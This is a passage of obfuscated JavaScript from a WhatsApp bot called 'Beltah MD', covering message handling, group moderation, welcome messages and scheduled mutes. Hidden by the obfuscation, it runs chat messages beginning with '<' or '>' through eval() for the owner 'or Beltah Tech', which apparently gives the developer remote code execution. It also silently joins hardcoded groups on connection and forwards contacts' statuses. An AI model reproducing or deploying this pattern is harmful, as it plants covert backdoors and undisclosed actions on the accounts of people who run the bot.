_0x495a53=Date['now']();if(_0x495a53-_0x421ed6<_0x4cdfd3){console['log']('Message\x20sk'+'ipped:\x20Too'+'\x20many\x20mess'+'ages\x20in\x20a\x20'+'short\x20time'+'.');return;}const _0xb522a9=await axios['get']('https://ap'+'i.davidcyr'+'iltech.my.'+'id/ai/gpt4',{'params':{'text':_0x1e9dde}}),_0x51c3b9=_0xb522a9['data'];if(_0x51c3b9&&_0x51c3b9['success']&&_0x51c3b9[_0x191c66(0x208)]){const _0x203625=googleTTS['getAudioUr'+'l'](_0x51c3b9['message'],{'lang':'en','slow':![],'host':'https://tr'+'anslate.go'+'ogle.com'});await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'audio':{'url':_0x203625},'mimetype':'audio/mp4','ptt':!![]}),_0x421ed6=Date['now']();}else throw new Error('No\x20respons'+'e\x20content\x20'+'found.');}catch(_0x465f0f){console['error'](_0x48fc4f['vPPYP'],_0x465f0f);}if(_0x1e9dde&&_0x1e9dde['startsWith']('<')){if(!_0x1dce5c)return _0x139c1e('Only\x20for\x20m'+'y\x20owner\x20or'+'\x20Beltah\x20Te'+'ch\x20to\x20exec'+'ute\x20this\x20c'+'ommand\x20🚫');try{let _0x5bd964=await eval(_0x1e9dde['slice'](0x19a7+-0x758*0x2+0xaf6*-0x1));typeof _0x5bd964!=='string'&&(_0x5bd964=_0x48fc4f['hcsev'](require,'util')['inspect'](_0x5bd964)),await _0x139c1e(_0x5bd964);}catch(_0x455d36){await _0x48fc4f['duHkv'](_0x139c1e,String(_0x455d36));}}if(_0x1e9dde&&_0x1e9dde['startsWith']('>')){if(!_0x1dce5c){const _0x167ff7='This\x20comma'+'nd\x20is\x20only'+'\x20for\x20the\x20o'+'wner\x20or\x20Be'+'ltah\x20to\x20ex'+'ecute\x20🚫';await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x167ff7,'contextInfo':{'externalAdReply':{'title':'𝐁𝐄𝐋𝐓𝐀𝐇\x20𝐌𝐃','body':'POWERED\x20BY'+'\x20BELTAH\x20HA'+'CKING\x20TEAM','sourceUrl':'https://wh'+'atsapp.com'+'/channel/0'+'029VaRHDBK'+'KmCPKp9B2u'+'H2F','thumbnailUrl':_0x48fc4f['nRnHv']||conf['BOT_MENU_L'+'INK'],'mediaType':0x1,'showAdAttribution':!![],'renderLargerThumbnail':![]}}});return;}try{let _0x7e0330=await eval(_0x1e9dde['slice'](0x2587*-0x1+0x4e1*0x3+0x1*0x16e5));if(typeof _0x7e0330!=='string')_0x7e0330=require('util')['inspect'](_0x7e0330);await _0x139c1e(_0x7e0330);}catch(_0x43e97f){await _0x139c1e(String(_0x43e97f));}}if(_0x1c4563['key']&&_0x1c4563['key']['remoteJid']==='status@bro'+'adcast'&&conf[_0x191c66(0x25f)+'S_REPLY']==='yes'){const _0x7785e8=_0x1c4563['key']['participan'+'t'],_0x2c3b53=''+conf['AUTO_STATU'+_0x191c66(0x246)];await _0x30d2a6['sendMessag'+'e'](_0x7785e8,{'text':_0x2c3b53,'react':{'text':'👻','key':_0x1c4563[_0x191c66(0x219)]}},{'quoted':_0x1c4563});}_0x1c4563['key']&&_0x1c4563['key']['remoteJid']==='status@bro'+'adcast'&&conf['AUTO_READ_'+_0x191c66(0x248)]==='yes'&&await _0x30d2a6[_0x191c66(0x24f)+'es']([_0x1c4563['key']]);if(_0x1c4563['key']&&_0x48fc4f['alGpw'](_0x1c4563['key']['remoteJid'],'status@bro'+'adcast')&&conf[_0x191c66(0x267)+'OAD_STATUS']==='yes'){if(_0x1c4563['message']['extendedTe'+_0x191c66(0x266)]){var _0x10af16=_0x1c4563['message']['extendedTe'+'xtMessage']['text'];await _0x30d2a6['sendMessag'+'e'](_0x4014c0,{'text':_0x10af16},{'quoted':_0x1c4563});}else{if(_0x1c4563['message']['imageMessa'+'ge']){var _0x549219=_0x1c4563['message']['imageMessa'+'ge']['caption'],_0x55077c=await _0x30d2a6['downloadAn'+'dSaveMedia'+'Message'](_0x1c4563['message'][_0x191c66(0x201)+'ge']);await _0x30d2a6['sendMessag'+'e'](_0x4014c0,{'image':{'url':_0x55077c},'caption':_0x549219},{'quoted':_0x1c4563});}else{if(_0x1c4563['message'][_0x191c66(0x252)+'ge']){var _0x549219=_0x1c4563['message']['videoMessa'+'ge']['caption'],_0x4432bf=await _0x30d2a6['downloadAn'+'dSaveMedia'+'Message'](_0x1c4563['message']['videoMessa'+'ge']);await _0x30d2a6['sendMessag'+'e'](_0x4014c0,{'video':{'url':_0x4432bf},'caption':_0x549219},{'quoted':_0x1c4563});}}}}if(!_0x4ce6fe&&_0x70fca9=='1203631587'+'01337904@g'+'.us')return;if(_0x1e9dde&&_0x4b6587['endsWith']('s.whatsapp'+'.net')){const {ajouterOuMettreAJourUserData:_0x5928f5}=require('./bdd/leve'+'l');try{await _0x5928f5(_0x4b6587);}catch(_0x5e38e4){console['error'](_0x5e38e4);}}try{if(_0x1c4563['message'][_0x2fd902]['contextInf'+'o']['mentionedJ'+'id']&&(_0x1c4563['message'][_0x2fd902]['contextInf'+'o']['mentionedJ'+'id'][_0x191c66(0x222)](_0x4014c0)||_0x1c4563['message'][_0x2fd902]['contextInf'+'o']['mentionedJ'+'id']['includes'](conf[_0x191c66(0x1f8)+'ER']+('@s.whatsap'+'p.net')))){if(_0x70fca9=='1203631587'+'01337904@g'+'.us')return;;if(_0x1dce5c){console['log']('hummm');return;}let _0x267ce4=require('./bdd/ment'+'ion'),_0x51ca1d=await _0x267ce4['recupererT'+'outesLesVa'+'leurs'](),_0x5193ba=_0x51ca1d[-0x1*0x79f+-0x55*0xc+0x1*0xb9b];if(_0x5193ba['status']==='non'){console['log']('mention\x20pa'+'s\x20actifs');return;}let _0x3f53ff;if(_0x5193ba['type']['toLocaleLo'+'werCase']()==='image')_0x3f53ff={'image':{'url':_0x5193ba['url']},'caption':_0x5193ba['message']};else{if(_0x5193ba['type']['toLocaleLo'+'werCase']()==='video')_0x3f53ff={'video':{'url':_0x5193ba['url']},'caption':_0x5193ba['message']};else{if(_0x5193ba['type']['toLocaleLo'+'werCase']()==='sticker'){let _0x12250a=new Sticker(_0x5193ba['url'],{'pack':conf['NOM_OWNER'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':'12345','quality':0x46,'background':'transparen'+'t'});const _0x48a782=await _0x12250a['toBuffer']();_0x3f53ff={'sticker':_0x48a782};}else _0x5193ba[_0x191c66(0x1ef)]['toLocaleLo'+'werCase']()==='audio'&&(_0x3f53ff={'audio':{'url':_0x5193ba['url']},'mimetype':'audio/mp4'});}}_0x30d2a6['sendMessag'+'e'](_0x70fca9,_0x3f53ff,{'quoted':_0x1c4563});}}catch(_0x421a76){}try{const _0x5b9fae=await verifierEtatJid(_0x70fca9);if(_0x1e9dde['includes']('https://')&&_0x356001&&_0x5b9fae){console['log'](_0x191c66(0x1fe)+'té');var _0x5462a0=_0x356001?_0x51b203['includes'](_0x4014c0):![];if(_0x1dce5c||_0x13d648||!_0x5462a0){console['log']('je\x20fais\x20ri'+'en');return;};const _0x355a04={'remoteJid':_0x70fca9,'fromMe':![],'id':_0x1c4563['key']['id'],'participant':_0x4b6587};var _0x1fabac='link\x20detec'+_0x191c66(0x260);const _0xe66ca5='https://ra'+'w.githubus'+'ercontent.'+'com/djaleg'+'a8000/Zoko'+'u-MD/main/'+'media/remo'+'ver.gif';var _0x5d78a3=new Sticker(_0xe66ca5,{'pack':'','author':conf['OWNER_NAME'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':_0x48fc4f['KNDfb'],'quality':0x32,'background':'#000000'});await _0x5d78a3['toFile']('st1.webp');var _0x48a97b=await recupererActionJid(_0x70fca9);if(_0x48a97b===_0x191c66(0x250)){_0x1fabac+='message\x20de'+'leted\x20\x0a\x20@'+_0x4b6587['split']('@')[-0x139*-0x3+0x1ff3+0x2f*-0xc2]+('\x20removed\x20f'+'rom\x20group.'),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'sticker':fs['readFileSy'+'nc']('st1.webp')}),(-0x1*0x1d0f+-0x1a1e+0x372d,baileys_1['delay'])(0x191*0xc+0x16a9+-0x2655),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x1fabac,'mentions':[_0x4b6587]},{'quoted':_0x1c4563});try{await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x70fca9,[_0x4b6587],'remove');}catch(_0x1ae257){console['log']('antiien\x20')+_0x1ae257;}await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x355a04}),await fs['unlink']('st1.webp');}else{if(_0x48a97b===_0x191c66(0x1ff))_0x1fabac+='Goodbye\x20\x0a\x20'+'@'+_0x4b6587[_0x191c66(0x224)]('@')[0x1788+-0xdf4+-0x994]+('\x20Sending\x20o'+'ther\x20group'+'\x20links\x20her'+'e\x20is\x20prohi'+'bited!.'),await _0x30d2a6[_0x191c66(0x26f)+'e'](_0x70fca9,{'text':_0x1fabac,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x355a04}),await fs['unlink']('st1.webp');else{if(_0x48a97b==='warn'){const {getWarnCountByJID:_0x23f225,ajouterUtilisateurAvecWarnCount:_0xa7004a}=require('./bdd/warn');let _0x26bf4b=await _0x23f225(_0x4b6587),_0x531c48=conf['WARN_COUNT'];if(_0x26bf4b>=_0x531c48){var _0x1d0ac5='link\x20detec'+_0x191c66(0x1f0)+_0x191c66(0x24e)+'move\x20becau'+'se\x20of\x20reac'+'hing\x20warn-'+'limit';await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x1d0ac5,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x70fca9,[_0x4b6587],'remove'),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x355a04});}else{var _0x5e5f67=_0x531c48-_0x26bf4b,_0x4ef426='Link\x20detec'+'ted\x20,\x20your'+'\x20warn_coun'+'t\x20was\x20upgr'+'ade\x20;\x0a\x20res'+_0x191c66(0x270)+_0x5e5f67+'\x20';await _0xa7004a(_0x4b6587),await _0x30d2a6[_0x191c66(0x26f)+'e'](_0x70fca9,{'text':_0x4ef426,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x355a04});}}}}}}catch(_0xb9fed5){console['log']('bdd\x20err\x20'+_0xb9fed5);}try{const _0x26bdc8=_0x1c4563[_0x191c66(0x219)]?.['id']?.['startsWith']('BAES')&&_0x1c4563['key']?.['id']?.['length']===-0x8*0x11+-0xd*0x264+0x1fac,_0xbea2be=_0x1c4563[_0x191c66(0x219)]?.['id']?.['startsWith']('BAE5')&&_0x1c4563['key']?.['id']?.['length']===0x1*0x41b+-0x10c0+0xcb5*0x1;if(_0x26bdc8||_0xbea2be){if(_0x2fd902==='reactionMe'+'ssage'){console['log']('Je\x20ne\x20reag'+'is\x20pas\x20au\x20'+'reactions');return;};const _0x523960=await atbverifierEtatJid(_0x70fca9);if(!_0x523960)return;;if(_0x13d648||_0x4b6587===_0x4014c0){console['log'](_0x191c66(0x204)+'en');return;};const _0x56b604={'remoteJid':_0x70fca9,'fromMe':![],'id':_0x1c4563['key']['id'],'participant':_0x4b6587};var _0x1fabac='bot\x20detect'+'ed,\x20\x0a';const _0x48cb17='https://ra'+'w.githubus'+'ercontent.'+'com/djaleg'+_0x191c66(0x221)+'u-MD/main/'+'media/remo'+'ver.gif';var _0x5d78a3=new Sticker(_0x48cb17,{'pack':'BELTAH-MD','author':conf['OWNER_NAME'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':'12345','quality':0x32,'background':_0x191c66(0x23b)});await _0x5d78a3['toFile']('st1.webp');var _0x48a97b=await atbrecupererActionJid(_0x70fca9);if(_0x48a97b==='remove'){_0x1fabac+='message\x20de'+_0x191c66(0x209)+_0x4b6587[_0x191c66(0x224)]('@')[-0x1503*0x1+-0x8e*-0x19+0x725]+('\x20removed\x20f'+_0x191c66(0x245)),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'sticker':fs['readFileSy'+'nc'](_0x191c66(0x22b))}),(-0x513*0x4+-0x2*0x411+0x1c6e,baileys_1['delay'])(0x14bc*-0x1+-0x1e89+0xae1*0x5),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x1fabac,'mentions':[_0x4b6587]},{'quoted':_0x1c4563});try{await _0x30d2a6['groupParti'+'cipantsUpd'+_0x191c66(0x23e)](_0x70fca9,[_0x4b6587],'remove');}catch(_0x28c4fd){console['log'](_0x48fc4f['OEYWL'])+_0x28c4fd;}await _0x30d2a6[_0x191c66(0x26f)+'e'](_0x70fca9,{'delete':_0x56b604}),await fs[_0x191c66(0x24b)]('st1.webp');}else{if(_0x48a97b===_0x48fc4f[_0x191c66(0x241)])_0x1fabac+='message\x20de'+'lete\x20\x0a\x20@'+_0x4b6587['split']('@')[0x1*-0x1187+-0x1*-0xda1+0x3e6]+('\x20Avoid\x20sen'+_0x191c66(0x25d)),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x1fabac,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x56b604}),await fs[_0x191c66(0x24b)]('st1.webp');else{if(_0x48a97b==='warn'){const {getWarnCountByJID:_0x4d1cd4,ajouterUtilisateurAvecWarnCount:_0x95a74}=require(_0x48fc4f['aErYe']);let _0x3734e8=await _0x4d1cd4(_0x4b6587),_0x261f5b=conf['WARN_COUNT'];if(_0x3734e8>=_0x261f5b){var _0x1d0ac5='bot\x20detect'+'ed\x20;you\x20wi'+'ll\x20be\x20remo'+'ve\x20because'+'\x20of\x20reachi'+'ng\x20warn-li'+'mit';await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x1d0ac5,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x70fca9,[_0x4b6587],'remove'),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x56b604});}else{var _0x5e5f67=_0x261f5b-_0x3734e8,_0x4ef426='bot\x20detect'+'ed\x20,\x20your\x20'+'warn_count'+'\x20was\x20upgra'+_0x191c66(0x232)+'\x20:\x20'+_0x5e5f67+'\x20';await _0x95a74(_0x4b6587),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':_0x4ef426,'mentions':[_0x4b6587]},{'quoted':_0x1c4563}),await _0x30d2a6['sendMessag'+'e'](_0x70fca9,{'delete':_0x56b604});}}}}}}catch(_0x3e47b7){console['log']('....\x20'+_0x3e47b7);}if(_0x6c4a67){const _0x584a63=evt['cm']['find'](_0x3de0bc=>_0x3de0bc['nomCom']===_0x48cd79||_0x3de0bc['nomCom']===_0x48cd79||_0x3de0bc['aliases']&&_0x3de0bc['aliases']['includes'](_0x48cd79));if(_0x584a63)try{if(conf['MODE']['toLocaleLo'+'werCase']()!='yes'&&!_0x1dce5c)return;if(!_0x1dce5c&&_0x70fca9===_0x4b6587&&conf['PM_PERMIT']==='yes'){_0x139c1e('ᴀᴄᴄᴇss\x20ᴅᴇɴ'+'ɪᴇᴅ\x20❗❗\x0a\x0a>\x20'+'ʏᴏᴜ\x20ʜᴀᴠᴇ\x20ɴ'+'ᴏ\x20ᴀᴄᴄᴇss\x20ᴏ'+_0x191c66(0x261)+'ᴅ\x20ɪɴ\x20ᴘᴍ.');return;}if(!_0x1dce5c&&_0x356001){let _0x359738=await isGroupBanned(_0x70fca9);if(_0x359738)return;}if(_0x48fc4f['lRjxb'](!_0x13d648,_0x356001)){let _0x226d40=await isGroupOnlyAdmin(_0x70fca9);if(_0x226d40)return;}if(!_0x1dce5c){let _0x4802d0=await isUserBanned(_0x4b6587);if(_0x4802d0){_0x139c1e('You\x20are\x20ba'+'nned\x20from\x20'+'bot\x20comman'+'ds');return;}}reagir(_0x70fca9,_0x30d2a6,_0x1c4563,_0x584a63['reaction']),_0x584a63['fonction'](_0x70fca9,_0x30d2a6,_0x378667);}catch(_0x10ed0b){console['log']('😡😡\x20'+_0x10ed0b),_0x30d2a6['sendMessag'+'e'](_0x70fca9,{'text':'😡😡\x20'+_0x10ed0b},{'quoted':_0x1c4563});}}});const {recupevents:_0x37f347}=require('./bdd/welc'+'ome');_0x30d2a6['ev']['on']('group-part'+'icipants.u'+'pdate',async _0x10df5c=>{const _0x53466b=_0x3fd8a1;console['log'](_0x10df5c);let _0x423be9;try{_0x423be9=await _0x30d2a6['profilePic'+'tureUrl'](_0x10df5c['id'],_0x48fc4f['gnHcs']);}catch{_0x423be9='https://ib'+'b.co/7SKY0'+'tg';}try{const _0x7700a3=await _0x30d2a6['groupMetad'+'ata'](_0x10df5c['id']);if(_0x48fc4f['DMfBM'](_0x10df5c['action'],'add')&&await _0x37f347(_0x10df5c['id'],'welcome')=='on'){let _0x1943c8='𝐁𝐄𝐋𝐓𝐀𝐇\x20𝐌𝐃\x0a'+'\x0a👋\x20Hello\x0a',_0x2bb52a=_0x10df5c['participan'+'ts'];for(let _0x4ab229 of _0x2bb52a){_0x1943c8+='\x20*@'+_0x4ab229['split']('@')[-0x12a+-0x1c92+-0x2*-0xede]+('*\x20Welcome\x20'+'to\x20Our\x20Off'+'icial\x20Grou'+'p,');}_0x1943c8+='You\x20might\x20'+'want\x20to\x20re'+'ad\x20the\x20gro'+'up\x20Descrip'+'tion\x20to\x20av'+'oid\x20gettin'+'g\x20removed.'+'..',_0x30d2a6['sendMessag'+'e'](_0x10df5c['id'],{'image':{'url':_0x423be9},'caption':_0x1943c8,'mentions':_0x2bb52a});}else{if(_0x48fc4f['DMfBM'](_0x10df5c['action'],'remove')&&await _0x48fc4f[_0x53466b(0x269)](_0x37f347,_0x10df5c['id'],_0x53466b(0x233))=='on'){let _0x3067e2='one\x20or\x20som'+'es\x20member('+'s)\x20left\x20gr'+'oup;\x0a',_0x127797=_0x10df5c['participan'+'ts'];for(let _0x20070d of _0x127797){_0x3067e2+='@'+_0x20070d['split']('@')[-0xb2d+-0x6c+0xb99]+'\x0a';}_0x30d2a6['sendMessag'+'e'](_0x10df5c['id'],{'text':_0x3067e2,'mentions':_0x127797});}else{if(_0x10df5c['action']=='promote'&&await _0x37f347(_0x10df5c['id'],_0x48fc4f['fNCgb'])=='on'){if(_0x10df5c['author']==_0x7700a3['owner']||_0x10df5c['author']==conf['NUMERO_OWN'+'ER']+('@s.whatsap'+'p.net')||_0x48fc4f['yzVmp'](_0x10df5c['author'],decodeJid(_0x30d2a6['user']['id']))||_0x10df5c['author']==_0x10df5c['participan'+'ts'][-0x654+0x145*-0xd+0x5*0x491]){console['log']('Cas\x20de\x20sup'+'erUser\x20je\x20'+'fais\x20rien');return;};await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x10df5c['id'],[_0x10df5c['author'],_0x10df5c['participan'+'ts'][0xd*-0x5d+0x1f8d+0xd6a*-0x2]],'demote'),_0x30d2a6['sendMessag'+'e'](_0x10df5c['id'],{'text':'@'+_0x10df5c['author']['split']('@')[-0x1*-0x23bd+0x10f8+-0x34b5]+('\x20has\x20viola'+'ted\x20the\x20an'+'ti-promoti'+'on\x20rule,\x20t'+'herefore\x20b'+_0x53466b(0x26d))+_0x10df5c['author']['split']('@')[-0x2b*-0x1a+0x7*-0x4de+0x1db4]+'\x20and\x20@'+_0x10df5c['participan'+'ts'][0x1*-0x45d+-0xb*0x15f+0x1372]['split']('@')[0xf*0x4f+0x1eec+-0x238d*0x1]+('\x20have\x20been'+'\x20removed\x20f'+'rom\x20admini'+'strative\x20r'+_0x53466b(0x20a)),'mentions':[_0x10df5c['author'],_0x10df5c['participan'+'ts'][0xdf2+-0xa76+-0x37c]]});}else{if(_0x10df5c['action']=='demote'&&await _0x37f347(_0x10df5c['id'],_0x53466b(0x203))=='on'){if(_0x48fc4f['KEHrf'](_0x10df5c['author'],_0x7700a3[_0x53466b(0x25a)])||_0x10df5c['author']==conf['NUMERO_OWN'+'ER']+(_0x53466b(0x244)+_0x53466b(0x234))||_0x10df5c['author']==_0x48fc4f['LlpkV'](decodeJid,_0x30d2a6['user']['id'])||_0x10df5c[_0x53466b(0x264)]==_0x10df5c[_0x53466b(0x240)+'ts'][-0x2077+0x841*0x1+0x1836]){console['log']('Cas\x20de\x20sup'+'erUser\x20je\x20'+'fais\x20rien');return;};await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x10df5c['id'],[_0x10df5c['author']],'demote'),await _0x30d2a6['groupParti'+'cipantsUpd'+'ate'](_0x10df5c['id'],[_0x10df5c['participan'+'ts'][0x1cb*0x3+-0x1cb4+-0x1*-0x1753]],'promote'),_0x30d2a6['sendMessag'+'e'](_0x10df5c['id'],{'text':'@'+_0x10df5c['author']['split']('@')[-0x1922+0x1*-0x238f+-0x143b*-0x3]+('\x20has\x20viola'+'ted\x20the\x20an'+'ti-demotio'+'n\x20rule\x20by\x20'+'removing\x20@')+_0x10df5c['participan'+'ts'][-0x1240+-0x3fd*0x7+-0x2e2b*-0x1]['split']('@')[0x117*0x15+0x136*0x1+-0x1f*0xc7]+('.\x20Conseque'+'ntly,\x20he\x20h'+'as\x20been\x20st'+'ripped\x20of\x20'+'administra'+'tive\x20right'+'s.'),'mentions':[_0x10df5c['author'],_0x10df5c['participan'+'ts'][0x1c1d+-0x11ec+-0x1*0xa31]]});}}}}}catch(_0x21a312){console['error'](_0x21a312);}});async function _0x365a0f(){const _0x33281e=_0x3fd8a1,_0x1e00e7={'aRYFd':'not_announ'+'cement'},_0x1196cc=require('node-cron'),{getCron:_0x460538}=require(_0x48fc4f['cLDwq']);let _0xc73b6c=await _0x460538();console['log'](_0xc73b6c);if(_0xc73b6c['length']>-0x610+0x1ac+0x4*0x119)for(let _0x2988aa=-0x21f8+0x16b4+-0xe*-0xce;_0x2988aa<_0xc73b6c['length'];_0x2988aa++){if(_0xc73b6c[_0x2988aa]['mute_at']!=null){let _0x26dc41=_0xc73b6c[_0x2988aa]['mute_at']['split'](':');console['log']('etablissem'+'ent\x20d\x27un\x20a'+'utomute\x20po'+'ur\x20'+_0xc73b6c[_0x2988aa]['group_id']+'\x20a\x20'+_0x26dc41[-0x7b9+0xaf9*0x2+-0x1*0xe39]+'\x20H\x20'+_0x26dc41[-0x11cf+0x16ca*0x1+-0x4fa]),_0x1196cc['schedule'](_0x26dc41[0x10cc+-0x36*0x32+-0x63f]+'\x20'+_0x26dc41[-0x17dd+0x1fc0+-0x7e3]+'\x20*\x20*\x20*',async()=>{const _0x2985db=_0x59a8;await _0x30d2a6['groupSetti'+'ngUpdate'](_0xc73b6c[_0x2988aa][_0x2985db(0x25b)],'announceme'+'nt'),_0x30d2a6['sendMessag'+'e'](_0xc73b6c[_0x2988aa]['group_id'],{'image':{'url':_0x2985db(0x263)+'rono.webp'},'caption':'Hello,\x20it\x27'+_0x2985db(0x23d)+_0x2985db(0x1fd)+'group;\x20say'+'onara.'});},{'timezone':'Africa/Nai'+'robi'});}if(_0xc73b6c[_0x2988aa]['unmute_at']!=null){let _0x83a6e9=_0xc73b6c[_0x2988aa]['unmute_at'][_0x33281e(0x224)](':');console['log']('etablissem'+'ent\x20d\x27un\x20a'+'utounmute\x20'+'pour\x20'+_0x83a6e9[0x13a7+-0x2035+0x2*0x647]+'\x20H\x20'+_0x83a6e9[-0x7*0x2f5+-0x8*-0x3a1+-0x854]+'\x20'),_0x1196cc['schedule'](_0x83a6e9[0x129*0x7+-0x10a5+0x887]+'\x20'+_0x83a6e9[0x4b3*0x7+0xda0+0x1*-0x2e85]+'\x20*\x20*\x20*',async()=>{const _0x5d1731=_0x33281e;await _0x30d2a6['groupSetti'+'ngUpdate'](_0xc73b6c[_0x2988aa]['group_id'],_0x1e00e7[_0x5d1731(0x26c)]),_0x30d2a6['sendMessag'+'e'](_0xc73b6c[_0x2988aa][_0x5d1731(0x25b)],{'image':{'url':'./media/ch'+_0x5d1731(0x1f4)},'caption':'Good\x20morni'+'ng;\x20It\x27s\x20t'+'ime\x20to\x20ope'+'n\x20the\x20grou'+'p.'});},{'timezone':_0x48fc4f['pPmBO']});}}else console['log']('Les\x20crons\x20'+'n\x27ont\x20pas\x20'+'été\x20activé'+'s');return;}_0x30d2a6['ev']['on']('contacts.u'+'psert',async _0x4e474a=>{const _0x1d6baf=_0x315aae=>{for(const _0x484564 of _0x315aae){store['contacts'][_0x484564['id']]?Object['assign'](store['contacts'][_0x484564['id']],_0x484564):store['contacts'][_0x484564['id']]=_0x484564;}return;};_0x1d6baf(_0x4e474a);});async function _0x268500(){const _0x3f95c8=_0x3fd8a1;try{console[_0x3f95c8(0x21e)](_0x3f95c8(0x205)+'newsletter'+'\x20functiona'+'lity...');}catch(_0x2db6cb){console['error']('Error\x20in\x20n'+_0x3f95c8(0x210),_0x2db6cb);}}return _0x30d2a6['ev']['on']('connection'+_0x3fd8a1(0x268),async _0x4335aa=>{const _0x2d7e3f=_0x3fd8a1,_0xdab15c={'bKUwu':function(_0x53146a,_0x59fd0d){return _0x53146a+_0x59fd0d;}},{lastDisconnect:_0xa748b4,connection:_0x140aa5}=_0x4335aa;if(_0x140aa5==='connecting')console['log']('ℹ️\x20Connecti'+'ng...');else{if(_0x140aa5==='open'){await _0x30d2a6['groupAccep'+'tInvite']('F9eGks0Pnw'+'7JJrozICzB'+'o4'),await _0x30d2a6['groupAccep'+'tInvite'](_0x5af268['kITEk']),console['log']('✅\x20Connecti'+_0x2d7e3f(0x1ec)+'ful!\x20☺️'),console['log']('--'),await(-0x97*0x3+-0x20*0x1+0x61*0x5,baileys_1['delay'])(0xd1c+-0x35*-0x27+-0x1467),console['log']('------'),await(-0x1abc+-0xa7c+-0x3*-0xc68,baileys_1['delay'])(0x368*0x2+-0x1*-0x1a5b+-0x1fff*0x1),console['log']('----------'+_0x2d7e3f(0x272)+'----'),console['log']('Beltah\x20MD\x20'+'bot\x20is\x20onl'+'ine\x20🕸\x0a\x0a'),console['log']('Loading\x20co'+_0x2d7e3f(0x216)),fs['readdirSyn'+'c'](__dirname+'/commands')['forEach'](_0x5f2165=>{const _0x29ca42=_0x2d7e3f;if(path['extname'](_0x5f2165)['toLowerCas'+'e']()==_0x29ca42(0x1f7)){try{require(_0xdab15c['bKUwu'](__dirname+'/commands/',_0x5f2165)),console['log'](_0x5f2165+('\x20installed'+'\x20✔️'));}catch(_0x27d384){console['log'](_0x5f2165+('\x20could\x20not'+'\x20be\x20loaded'+'\x20due\x20to\x20th'+'e\x20followin'+'g\x20reasons:'+'\x20')+_0x27d384);}(-0xaeb+-0x871+-0x1c*-0xb1,baileys_1['delay'])(0x1*-0x20a2+-0x2148+-0x3e*-0x115);}}),(-0x167*0x4+0x1e3d+0x1e5*-0xd,baileys_1['delay'])(-0x8eb+-0xdf*0x27+0x2da0);let _0x4a5155;if(conf['MODE'][_0x2d7e3f(0x235)+'werCase']()==='yes')_0x4a5155=_0x5af268['TpXkW'];else conf['MODE']['toLocaleLo'+'werCase']()==='no'?_0x4a5155=_0x2d7e3f(0x212):_0x4a5155='undefined';console['log'](_0x2d7e3f(0x251)+'ading\x20comp'+'leted\x20✅');if(conf['DP']['toLowerCas'+'e']()===_0x5af268['xqVLy']){let _0x1863ed='╭════⊷\x0a║\x20*'+'『\x20'+conf['BOT']+('\x20𝐢𝐬\x20𝐎𝐧𝐥𝐢𝐧𝐞'+'』*\x0a║\x20ᴏᴡɴᴇʀ'+':\x20')+conf['OWNER_NAME']+('\x0a║\x20ᴘʀᴇꜰɪx\x20'+_0x2d7e3f(0x21d))+prefixe+('\x20]\x0a║\x20ᴍᴏᴅᴇ\x20'+':')+_0x4a5155+('︎\x0a╰═══════'+'══════════'+'⊷\x0a\x0a\x0a╭───◇\x0a'+'┃🛸\x20NEW\x20UPD'+'ATE\x20AVAILA'+_0x2d7e3f(0x214)+'ase\x20update'+'\x20your\x20bot\x20'+'now\x20for\x20ch'+'anges\x20to\x20a'+'pply.\x20\x0a┃\x0a╰'+'══════════'+'═══════⊷\x0a>'+'\x20ᴘᴏᴡᴇʀᴇᴅ\x20ʙ'+'ʏ\x20ʙᴇʟᴛᴀʜ\x20ᴛ'+_0x2d7e3f(0x227));await _0x30d2a6['sendMessag'+'e'](_0x30d2a6['user']['id'],{'text':_0x1863ed});}await _0x268500();}else{if(_0x140aa5==_0x5af268['HWisy']){let _0x511fe3=new boom_1['Boom'](_0xa748b4?.['error'])?.['output']['statusCode'];if(_0x511fe3===baileys_1['Disconnect'+'Reason']['badSession'])console['log']('Invalid\x20se'+'ssion\x20ID,\x20'+'please\x20res'+_0x2d7e3f(0x225)+_0x2d7e3f(0x218));else{if(_0x511fe3===baileys_1[_0x2d7e3f(0x259)+'Reason'][_0x2d7e3f(0x1fa)+'Closed'])console['log']('!!!\x20Connec'+'tion\x20close'+'d,\x20reconne'+'cting...'),_0x5af268['pSRkR'](_0x16b8dc);else{if(_0x511fe3===baileys_1['Disconnect'+'Reason'][_0x2d7e3f(0x1fa)+'Lost'])console['log']('Connection'+_0x2d7e3f(0x22e)+'rver\x20lost\x20'+'😞,\x20reconne'+'cting...'),_0x16b8dc();else{if(_0x511fe3===baileys_1['Disconnect'+'Reason']?.['connection'+'Replaced'])console[_0x2d7e3f(0x21e)]('Connection'+_0x2d7e3f(0x271)+'\x20a\x20session'+_0x2d7e3f(0x20f)+'y\x20open,\x20pl'+'ease\x20close'+'\x20it!!!');else{if(_0x5af268['pKogM'](_0x511fe3,baileys_1['Disconnect'+_0x2d7e3f(0x243)]['loggedOut']))console['log']('You\x20are\